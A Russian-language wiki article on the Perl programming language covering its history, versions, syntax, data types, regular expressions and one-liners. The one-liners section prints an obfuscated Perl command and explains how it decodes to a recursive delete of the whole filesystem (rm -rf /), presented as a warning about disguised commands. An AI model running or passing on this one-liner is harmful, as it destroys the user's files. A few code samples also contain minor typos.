![]() | |
Семантика: |
мультипарадигменный:императивный, объектно-ориентированный,функциональный |
---|---|
Тип исполнения: |
интерпретатор |
Появился в: |
1987 г. |
Автор(ы): | |
Расширениефайлов: |
.pl, .pm, .cgi |
Релиз: |
5.12.2[1] / 7 сентября 2010 |
Тестовая версия: |
5.13.4[2] / 20 августа 2010 |
Типизация данных: |
динамическая |
Испытал влияние: | |
Повлиял на: |
Perl — высокоуровневый интерпретируемый динамический язык программированияобщего назначения, созданныйЛарри Уоллом, лингвистом по образованию. Название языка представляет собой аббревиатуру, которая расшифровывается какPractical Extraction and Report Language «практический язык для извлечения данных и составления отчётов». Первоначально аббревиатура состояла из пяти символов и в таком виде в точности совпадала с английским словомpearl, жемчужина. Но затем стало известно, что такой язык существует (см. PEARL) и букву «а» убрали. Талисманом языка Perl являетсяверблюд— не слишком красивое, но очень выносливоеживотное, способное выполнять тяжёлую работу.
Основной особенностью языка считаются его богатые возможности для работы с текстом, в том числе реализованные при помощи регулярных выражений. Перл унаследовал много свойств от языковСи, shell script, awk.
Perl также знаменит огромной коллекциейдополнительных модулейCPAN, находящейся по адресу http://www.cpan.org(англ.).
История[]
Первые версии[]
Ларри Уолл начал разработку Perl в 1987 году, когда работал программистом в Unisys[1]. Версия 1.0 была выпущена и анонсирована в новостной группе comp.sources.misc 18 декабря 1987.[2] как «„замена“ для awk и sed».
Perl 2 был выпущен в 1988 году, основным нововведением в котором был переработаный механизм регулярных выражений. Perl 3, выпущенный в 1989 получил возможность обрабатывать потоки двоичных данных.
Изначально, единственной документацией для Perl была единственная (огромной длины) man-страница. В 1991 году была выпущена к книга Programming Perl (известная многими программистами как «Верблюжая книга» (Шаблон:Lang-en) из-за изображения на обложке), которая, де-факто, стала стандартом языка. В тоже самое время, версия языка была поднята до 4, не столько, чтобы указать на значительные изменения, сколько, чтобы обозначить, что эта версия языка документирована книгой.
Ранний Perl 5[]
Perl 4 прошёл через серию релизов, остановившись на Perl 4.036 в 1993 году. В этот момент, Ларри Уолл забросил Perl 4 и начал работу над Perl 5. Разработка Perl 5 была начата в 1994 году. В тоже время был создан список рассылки perl5-porters для координации работы над портированием Perl 5 на различные платформы. Он до сих пор остаётся основным форумом по разработке, обслуживанию и портированию Perl 5.[3]
Perl 5.000 был выпущен 17 октября 1994 года.[4] Он включал в себя полностью переписанный интерпретатор, и включал в себя много новых языковых возможностей, таких как объекты, ссылки, локальные (my) переменные, и модули. Особенно важной частью были модули, так как они предоставили механизм расширения языка без модифицирования интерпретатора. Это позволило стабилизировать интерпретатор, но при этом, дало возможность обычным Perl-программистам добавлять в язык новые возможности. Perl 5 находится в активной разработке по сей день.
Perl 5.001 был выпущен 13 марта 1995 года. Perl 5.002 увидел свет 29 февраля 1996 года с новой поддержкой прототипов. Это позволило авторам модулей создавать функции, которые вели себя так же, как и встроенные функции Perl. Версия Perl 5.003 появилась 25 июня 1996 и устраняла обнаружившиеся проблемы с безопасностью.
Одно из важнейших событий в истории Perl 5 случилось за пределами собственно языка и было последствием поддержки модулей. 26 октября 1995 года начала свою работу CPAN (Всеобъемлющая Сеть Архивов Перл), которая стала репозиторием модулей Perl, а также исходного кода самого языка. На данный момент сеть насчитывает более 20000 модулей, созданных более чем 8000 программистами.[5]
Perl 5.004 был выпущен 15 мая 1997 года и содержал, кроме всего прочего, пакет UNIVERSAL, который давал языку основной объект, от которого автоматически происходили все классы. Была также включена возможность запрашивать версию модулей. В дополнении к этому Perl стал поддерживать Microsoft Windows, а также ряд других операционных систем.[6]
Perl 5.005 увидел свет 22 июня 1998 года. Этот релиз включал в себя несколько улучшений процессора регулярных выражений, новые перехваты в бэкенд с помощью B::*
модулей, qr//
оператор кавычек для регулярных выражений, большой выбор других новых модулей, а также поддержку ряда операционных систем, в частности BeOs.[7]
C 2000 по наше время[]
Perl 5.6 был выпущен 22 марта 2000 года. Главные изменения включали поддержку 64-битных систем, представление строк в стандарте юникод, поддержку больших файлов (файлы больше 2 Гб) и ключевое слово «our».[8][9] Во время разработки Perl 5.6 было принято решение изменить схему наименования версий на более близкую к другим проектам с открытым исходным кодом. За версией 5.005_63 следовала версия 5.5.640, согласно плану версиям в разработке должны были присваиватся нечётные номера, стабильным версиям — чётные.
В 2000 году Ларри Уолл выступил с призывом к сообществу активно обсуждать предложения к следующей версии Perl. Результатом этого обсуждения стал 361 документ RFC (Запрос комментариев), которые были использованы в разработке Perl 6. В 2001 году [10] была начата работа над финальным документом, подводящим итог предложениям к созданию нового поколения Perl. Результат был представлен не в виде формального документа, а в качестве дайджеста всех RFC. К этому времени Perl 6 существовал исключительно в виде описания языка.
Perl 5.8 был впервые выпущен 18 июля 2002 года и с этого момента получал ежегодное обновление. Последняя версия Perl 5.8 — 5.8.9 увидела свет 14 декабря 2008 года. Perl 5.8 улучшал поддержку юникода, добавлял новую реализацию ввода/вывода, добавлял поддержку многопоточности, увеличивал числовую точность и добавлял несколько новых модулей.[11]
В 2004 году началась работа над Cинопсисом (Synopsis) — первоначально задумавшимся как ряд документов, подводящих итоги финального документа, упоминавшегося выше. Однако постепенно этот ряд документов и стал спецификацией Perl 6. В феврале 2005 года Audrey Tang начал работу над Pugs [12], интерпретатором Perl 6, написанном на Haskell.[13] Это было первой настоящей попыткой воплотить Perl 6 в реальность. Эта попытка заглохла в 2006 году.
18 декабря 2007 года, в день 20-летней годовщины Perl 1.0, была выпущена версия Perl 5.10.0. Эта версия содержала в себе ряд заметных нововведений, приближающих её к Perl 6. Одними из таких нововведений стали новые операторы switch (названных «given»/«when»), обновление регулярных выражений, а также «умный» оператор совпадения «~~».[14][15]
Примерно в это же время всерьёз началась разработка новой имплементации Perl 6, известкой как Rakudo Perl [16], разработанной в тандеме с виртуальной машиной Parrot. C ноября 2009 Rakudo Perl регулярно обновляется каждый месяц и является на данный момент самой полной имплементацией Perl 6.
Значительное изменение процесса разработки Perl 5 произошло после появления Perl 5.11. Сообщество разработчиков перешло на ежемесячный цикл релизов, с планированием даты релиза на три месяца вперёд.
12 апреля 2010 года Perl 5.12.0 был представлен публике. Выдающиеся нововведения включают в себя поддержку нового синтаксиса package NAME VERSION, оператор Yada Yada (служащего для маркировки кода-заполнителя, который ещё не реализован), полное решение Пробемы 2038 года (Y2038), перегрузка операторов регулярных выражений, поддержку DTrace (фреймворка динамической трассировки), а также полную поддержку стандарта Unicode 5.2.[17] 7 сентября 2010 года Perl 5.12.2 был выпущен. Этот релиз содержит обновление модулей, а также некоторые изменения в документации.[18]
Последняя версия, выпущенная 20 августа 2010 года — Perl 5.13.4.[19]
Perl 6[]
Шаблон:Основная статья С 2000 года идет разработка новой (6-ой) версии языка. В отличие от предыдущих версий, разработчики планируют создать четко определенный стандарт языка. В настоящее время существуют экспериментальные компиляторы Perl 6, но продолжается дальнейшая дискуссия о новых правилах. На русском языке информация о новой версии языка доступна на сайте http://perl6.ru/.
Обзор[]
Perl — язык программирования общего назначения, который был первоначально создан для манипуляций с текстом, но на данный момент используется для выполнения широкого спектра задач, включая системное администрирование, веб-разработку, сетевое программирование, игры, биоинформатику, разработку графических пользовательских интерфейсов.
Язык можно охарактеризовать скорее как практичный (лёгкость в использовании, эффективность, полнота), чем красивый (элегантность, минималистичность).[20] Главными достоинствами языка являются поддержка различных парадигм (процедурный, объектно-ориентированный и функциональный стили программирования), контроль за памятью (без коллектора мусора, основанного на циклах), встроенная поддержка обработки текста, а также большая коллекция модулей сторонних разработчиков.
Согласно Ларри Уоллу, у Perl есть два девиза. Первый — «Есть больше одного способа это сделать» («There’s more than one way to do it»), известный также под аббревиатурой TMTOWTDI. Второй слоган — «Простые вещи должны оставаться простыми, а сложные стать выполнимыми» («Easy things should be easy and hard things should be possible»).
Особенности[]
Общая структура Perl в общих чертах ведёт своё начало от языка Си. Perl — процедуральный по своей природе, имеет переменные, выражения, присваивания, блоки кода, отделяемые фигурными скобками, управляющие структуры и функции.
Perl также заимствует ряд свойств из языков программирования оболочки операционной системы. Все переменные маркируются ведущими знаками, которые точно выражают тип данных переменной в этом контексте (например, скаляр, массив, хеш). Важно, что эти знаки позволяют переменным быть интерполированным в строках. Perl обладает множеством встроенных функций, которые обеспечивают инструментарий, часто используемый для программирования оболочки, например сортировку или вызов системных служб.
Perl заимствует массивы из Lisp, регулярные выражения из AWK и sed, из AWK также позаимствованы хеши («ассоциативные массивы»). Регулярные выражения облегчают выполнение многих задач по парсингу, обработке текста и манипуляций с данными.
Perl 5 добавил поддержку сложных типов данных, первоклассных функций (замыкание как значение) и объектную модель. В последнюю входят ссылки, пакеты, выполнение методов от класса, переменные с лексическим объявлением области видимости, а также директивы компилятору (нампример, strict
). Главнейшим усовершенствованием представленным в Perl 5 стала возможность помещать код в «пакеты» (package) в качестве модулей для повторного использования. Ларри Уолл позже заметил, что «Весь замысел модульной системы Perl 5 сводился к поощрению роста культуры Perl, а не строчек кода».[21]
Все версии Perl выполняют автоматическую типизацию данных и автоматический контроль над памятью. Интерпретатор знает тип и запросы памяти каждого объекта программы, он распределяет и освобождает память, производя подсчёт ссылок. Перевод одного типа данных в другой — например, числа в строку — происходит автоматически в рантайме, невозможные для выполнения переводы типов данных приводят к фатальной ошибке.
Синтаксис языка Perl[]
Синтаксис Perl имеет много общего с синтаксисом языков Си, Awk, sed и shell.
Первая строка исходного кода может начинаться с «#!/Путь/к/Perl [-ключи]» — что указывает системе путь к интерпретатору Perl для выполнения программы в UNIX системах и выполнения их на веб-сервере. Изначально обработка такой строки — это функция shell, но Perl при выполнении программы также проверяет эту строку и читает из неё ключи, игнорируя путь к интерпретатору.
Пример программы[]
Простейшая программа Hello world выглядит следующим образом:
print "Hello, world!\n";
либо для CGI:
#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "Hello, world!";
Дозапись в строку.
$x = 5;
$x .= 0;
print $x; #50
А вот так можно напечатать число гугол.
print 1, 0 x 100;
Типы данных[]
Основные типы данных: скаляр, массив, хеш-таблица, функция, указание на файл, запись таблицы символов. Переменные разных типов отличаются знаком, который стоит перед именем переменной:
Тип | Символ | Пример | Описание |
---|---|---|---|
Скаляр | $ | $foo | единиченое значение; может быть числом, строкой, указанием на файл, а так же ссылкой. |
Массив | @ | @foo | Упорядоченная коллекция скаляров. |
Хеш-таблица | % | %foo | Коллекция из пар строка-скаляр; строки называются ключами, а скаляры — значениями. Синоним — Ассоциативный массив. |
Указание на файл | нет | $foo или FOO | Представление открытого файла или другой цели, открытой для чтения и/или записи. |
Функция | & | &foo | Отрезок кода, который принимает аргументы, исполняет действия и возвращает значения. |
Запись таблицы символов | * | *foo | Запись таблицы символов для всех типов с именем 'foo'. |
Скаляр[]
- Скалярные переменные используются для хранения одиночных значений. Они могут содержать числа, строки и ссылки на другие объекты. Перед именем скалярной переменной необходимо ставить знак доллара '$'. Тип скалярной переменной не фиксирован (в отличие от, например, языка Си) и определяется динамически в зависимости от контекста. Например,
$x = 10; # число
$y = $x + 1; # используем $x как число…
$z = $x . 'string'; # … а теперь — как строку
$ref = \$x; # $ref является указателем на $x
$$ref = 0; # $x содержит значение 0
Строковые данные должны быть помещены в кавычки. Perl использует два вида кавычек — одиночные и двойные. Помещение строки в двойные кавычки позволяет значениям переменных, содержащимся в строке, автоматически заменить собою название переменных. Заключение сторок в одиночные кавычки предотвращает такое поведение:
## Пример интерполяции переменных в двойных кавычках
$pi = 3.141592654;
$var1 = 'Значение Pi - $pi\n';
print $var; # Значение Pi - $pi\n
$var 2 = "Значение Pi - $pi\n";
print $var; # Значение Pi - 3.141592654
Для включения двойных кавычек в строку, которая была помещена в двойные кавычки, следует использовать отмену знака — \". Для включение одинарных кавычек в строку из ординарных кавычек — \'. Для удобства работы со строками содержащими много знаков кавычек внутри, Perl позволяет использовать альтернативные способы закавычивания. Альтернативня форма использует любую пару знаков, помещённых после буквы q (имитирует поведение одинарных кавычек) или qq (имитирует поведение двойных кавычек):
## Пример использования альтернативных кавычек
$pi = 3.141592654;
$link1 = q{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
print $link1; # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>
$link2 = qq{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>};
print $link2; # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a>
Ещё один тип кавычек в Perl — обратные кавычки. В них помещаются программы операционной системы, вывод которых может быть передан интерпретатору Perl. Выполнение программ всегда заканчиваются символом новой строки — \n:
## Пример использования обратных кавычек для исполнения команд UNIX
$space = `du -s -k /usr/local/bin`;
print $space; # 6264 /usr/local/bin
$sysuptime = `uptime`;
print $sysuptime; # 2:24 up 1 day, 9:05, 1 user, load averages: 0.26 0.32 0.33
Массив[]
- Массив является упорядоченным списком скаляров. Каждый элемент массива имеет порядковый индекс, с помощью которого к нему можно получить доступ. Нумерация элементов начинается с нуля, то есть первый элемент списка имеет индекс 0. Перед именем переменной-массива необходимо ставить знак '@', а для доступа к определенному элементу массива использовать знак '$', так как определенный элемент массива является скаляром . Многомерные массивы можно смоделировать, помещая в список ссылки на другие списки.
@array = (1,2,3,4); # записали в массив @array четыре элемента
print $array[2]; # напечатать третий элемент
print @array[2,3]; # напечатать третий и четвертый элемент.
# Здесь используется @, так как результат операции среза массива тоже является массивом.
Хеш-таблица[]
- Хеш-таблица представляет собой ассоциативный массив, позволяющий ассоциировать строку (называемую ключ) со скаляром (значение). Строка называется ключом, а скаляр в хеш-таблице значением. Перед именем переменной-списка необходимо ставить знак процента '%', а для доступа к определенному элементу массива необходимо ставить знак '$'.
Хеш-таблицу можно инициализировать массивом или списком, состоящим из неограниченного числа последовательностей (ключ, значение).
%hash = (
'cat' => 'kitten', # здесь => - это так называемая "длинная запятая",
'dog' => 'puppy', # в этом примере по функции полностью аналогичная обыкновенной ",".
'cow' => 'calf'
);
print $hash{'cat'}; #Напечатает kitten
print join("-", keys %hash) ; # Вывод всех ключей. Напечатает cat-dog-cow
print join("-", values %hash) ; # Вывод всех значений. Напечатает kitten-puppy-calf
print join("-", %hash) ; # Напечатает cat-kitten-cow-calf-dog-puppy, так как в списковом контексте хэш автоматически
# разворачивается в список (ключ, значение). Так как ключи в хэше не сортируются,
# пары каждый раз будут выводиться в произвольном порядке.
Функция[]
- Функция представляет собой фрагмент исполняемого кода. Функция всегда возвращает какое-либо значение. Если возвращаемое значение явно не указано оператором return, возвращается последнее вычисленное значение. Если в функции используется return без параметров, то в зависимости от контекста вызова функции возвращается неопределённое значение undef, пустой список или вообще ничего.
sub printTwo{
print 2;
}
sub three{
3;
}
$s = \&three;
print &$s; #Напечатает 3
$s = \&printTwo; # Запишем в скаляр $s ссылку на функцию - через эту ссылку она будет вызвана в следующей строке.
print &$s; #Напечатает 21. `2` в коде функции, а `1` как значение, возвращаемое функцией printTwo
print &printTwo #То же самое
Константа[]
- Константа представляет собой неизменяемое значение. Константа не является встроенным типом языка и эмулируется при помощи функций. Предпочтительно задавать константы с помощью стандартного модуля constant, чтобы в будущем не зависеть от возможных изменений в реализации констант. Использование:
use constant MY => 2;
print MY;
Запись таблицы символов[]
- Запись таблицы символов — специальный тип, в котором хранятся ссылки на все переменные других типов с таким названием, а также на символы, которые часто использует для хранения файловый дескриптор, представляющих собой указатель на файл, устройство или PIPE канал, открытые для записи, чтения или для записи и чтения.
Использование:
$s = <STDIN>; #Читаем одну строку из дескриптора STDIN (стандартный поток ввода); скалярный контекст.
@values = <FILE>; #Читаем все строчки из некоторого открытого и связанного с дескриптором FILE файла; списковый контекст.
print STDOUT $s; #Печатаем в STDOUT (стандартный поток вывода)
В последних версиях Perl появилась возможность хранить файловые дескрипторы в скалярах, и в новых программах предпочтительно пользоваться именно этим способом.
Также таблицы символов используются для связи двух имён переменной с одним значением в памяти, создавая синонимы, которые могут быть использованы для доступа и модификации значения точно также как и оригинальное имя. Эта возможность является основой системы загружаемых модулей, классов и объектов в Perl.
Регулярные выражения[]
Важной частью Perl являются регулярные выражения. Благодаря этому Perl хорошо подходит для обработки текстов. Бо́льшая часть работы с регулярными выражениями производится при помощи операторов =~
, m//
и s///
.
Оператор m//
используется для проверки на совпадение. В простейшем случае результат выражения $x =~ m/abc/
будет истинным, если и только если строка $x
будет соответствовать регулярному выражению abc
. Например:
Пример | Значение |
---|---|
Шаблон:Nobr | Строка $x содержит (под)строку «abc». Начальная буква «m» оператора при использовании // может быть опущена.
|
Шаблон:Nobr | Строка $x содержит букву «a», затем от одного до трех любых символов, и затем букву «c». Найденные символы будут сохранены в переменную $1 .
|
Шаблон:Nobr | Строка $x строго равна «perl» или «pugs» без учета регистра. Так же, вместо // регулярное выражение окружено в {} .
|
Поиск и замена выполняются при помощи оператора s///
. Конструкция $x =~ s/abc/def/;
заменит первое вхождение регулярного выражения abc
на строку def
.
Пример | Значение |
---|---|
Шаблон:Nobr | Все вхождения (на что указывает флаг /g — global) подстроки «abc» в $x будут заменены на «def».
|
Шаблон:Nobr | Первое вхождение в $x буквы «a», затем от одного до трех любых символов, и затем буквы «c» будет заменено на эти символы между «a» и «c», окружённые «!». Например, «syntactic» станет «synt!cti!».
|
Шаблон:Nobr | Здесь показан пример использования модификатора /e , указывающего на то, что вместо строки замены будет написан код, результат выполнения которого надо использовать. Все вхождения «perl» или «pugs» в любом регистре будут заменены на «Perl» и «Pugs», соответственно.
|
Регулярные выражения Perl настолько популярны, что они включены напрямую в другие языки, такие как PHP и JavaScript, а также существуют подключаемые библиотеки, реализующие использование выражений в компилируемых языках.
Программы из одной строчки[]
Интересной и часто используемой возможностью Perl являются так называемые one-liners — программы из одной строки, обычно задаваемые прямо в строке вызова интерпретатора с помощью ключа -e.
Эта программа напечатает простые числа:
perl -wle "(1 x $_) !~ /^(11+)\1+$/ && print while ++ $_"
Этот пример напечатает только уникальные строки файла file, ключ -n автоматически заворачивает строку обработки в цикл, который проходит по всем строкам в файлах, указанных после текста программы:
perl -ne '$s{$_}++ || print' file
В этих примерах Perl напоминает своей краткостью и непонятностью с первого взгляда язык J.
Также одним из подобных примеров является вызвавшая большой резонанс программа,Шаблон:Нет АИ так как на самом деле она является замаскированной командой рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
echo "test... test... test..."
выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид
system"rm -rf /"
Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.
Языки программирования и оболочки со схожими технологиями[]
Perl — далеко не единственный язык, дающий богатые возможности в обработке текста. Языки программирования РЕФАЛ, Icon и Снобол предоставляют возможность использовать более полно метод программирования «сопоставления с образцом», частным случаем которого и являются регулярные выражения.
Существует также полноценный shell, использующий в качестве основы язык Perl. Называется он psh и даёт возможность смешивать команды обычного шелла и самого Perl’а[22].
Поэзия в Perl[]
На Perl можно даже писать стихотворения. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина» или «Чёрный перл») было упомянуто Ларри Уоллом в первоапрельском письме в Usenet. Оно было написано изначально для Perl 3, и по словам самого Ларри, он испытал моральное удовлетворение, когда стихотворение не прошло синтаксический анализатор в Perl 5.
BEFOREHEAD: close door, each window & exit; wait until time.
open spellbook, study, read (scan, select, tell us);
write it, print the hex whole each watches,
reverse its length, write again;
kill spiders, pop them, chop, split, kill them.
unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");
kill them, dump qualms, shift moralities,
values aside, each one;
die sheep! die to reverse the system
you accept (reject, respect);
next step,
kill next sacrifice, each sacrifice,
wait, redo ritual until "all the spirits are pleased";
do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;
exit crypt (time, times & "half a time") & close it,
select (quickly) & warn your next victim;
AFTERWORDS: tell nobody,
wait, wait until time;
wait until next year, next decade;
sleep, sleep, die yourself,
die at last
Редакторы[]
- Шаблон:Не переведено
- PSPad
- ActiveState Komodo
- jEdit
- EPIC — Perl Editor and IDE for Eclipse
- Geany
- IDM Computer Solutions, Inc. — UltraEdit & UEStudio
- Notepad++
См. также[]
- Perl 6 — 6-я версия языка Perl (находится в процессе разработки);
- Сравнение возможностей Perl с другими языками см. в статье Сравнение языков программирования;
- JAPH;
- Parrot.
Ссылки[]
- www.perl.org — Официальный сайт языка Perl
- www.cpan.org — CPAN — архив библиотек для языка Perl
- Perldoc — Официальная документация Perl
- www.activestate.com/Products/activeperl дистрибутив Perl от ActiveState
- perl6.ru — информация о новой версии Perl 6
- ↑ Шаблон:Cite web
- ↑ Шаблон:Cite web
- ↑ Архив списка рассылки perl5-porters
- ↑ perlhist — perldoc.perl.org
- ↑ Шаблон:Cite web
- ↑ perl5004delta - perldoc.perl.org
- ↑ perl5005delta - perldoc.perl.org
- ↑ perl56delta - perldoc.perl.org
- ↑ perl561delta - perldoc.perl.org
- ↑ Apocalypse 1: The Ugly, the Bad, and the Good - dev.perl.org
- ↑ perl58delta - perldoc.perl.org
- ↑ http://en.wikipedia.org/wiki/Pugs
- ↑ HaskellWiki
- ↑ perldelta: what is new for perl 5.10.0
- ↑ Smart matching in detail
- ↑ http://en.wikipedia.org/wiki/Rakudo_Perl
- ↑ perl5120delta - search.cpan.org
- ↑ perl5122delta - search.cpan.org
- ↑ Florian Ragwitz / perl-5.13.4 - search.cpan.org
- ↑ perlintro(1) man page
- ↑ Usenet post, May 10, 1997, with ID 199705101952.MAA00756@wall.org
- ↑ perlfaq3 — perldoc.perl.org